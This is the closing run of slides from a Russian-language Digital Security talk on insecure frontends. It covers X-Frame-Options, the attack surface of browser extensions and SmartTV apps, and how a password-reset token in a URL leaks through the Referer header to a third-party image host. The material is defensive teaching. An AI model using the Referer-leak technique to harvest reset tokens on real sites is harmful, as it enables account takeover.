  • 51. X-­‐Frame-­‐Options ©  2002—2015,  Digital  Security 51 (Не)безопасный  frontend
  • 52. Extensions  /  SmartTV ©  2002—2015,  Digital  Security 52 (Не)безопасный  frontend Extensions  /  SmartTV
  • 53. Extensions  /  SmartTV ©  2002—2015,  Digital  Security 53 (Не)безопасный  frontend Расширения  для  браузера?   -­‐JS/HTML/CSS   -­‐  Взаимодействие  с  DOM   -­‐  Неограниченные  XHR  запросы   -­‐  Расширенное  API     Приложения  для  SmartTV  –  тоже  самое.
  • 54. Extensions  /  SmartTV ©  2002—2015,  Digital  Security 54 (Не)безопасный  frontend
  • 55. Extensions  /  SmartTV ©  2002—2015,  Digital  Security 55 (Не)безопасный  frontend Видео
  • 56. ©  2002—2015,  Digital  Security 56 (Не)безопасный  frontend На  десерт
  • 57. ©  2002—2015,  Digital  Security 57 (Не)безопасный  frontend <a href=“http://external.com”>Go!</a> В  заголовках  будет   Referer: http://yoursite.com/   А  что  в  случае  с  изображениями,  стилями,  JS  файлами?
  • 58. ©  2002—2015,  Digital  Security 58 (Не)безопасный  frontend http://super-­‐website.com/user/passRecovery?t=SECRET   ...   <img src=http://comics.com/password.jpg> ...     Владелец   comics.com   Знает  все  секретные  токены  (для  сброса  пароля!)
  • 59.       twitter.com/sergeybelove sbelov@dsec.ru       © 2002—2015, Digital Security Digital Security в Москве: (495) 223-07-86 Digital Security в Санкт-Петербурге: (812) 703-15-47 59 Тестируйте  безопасность!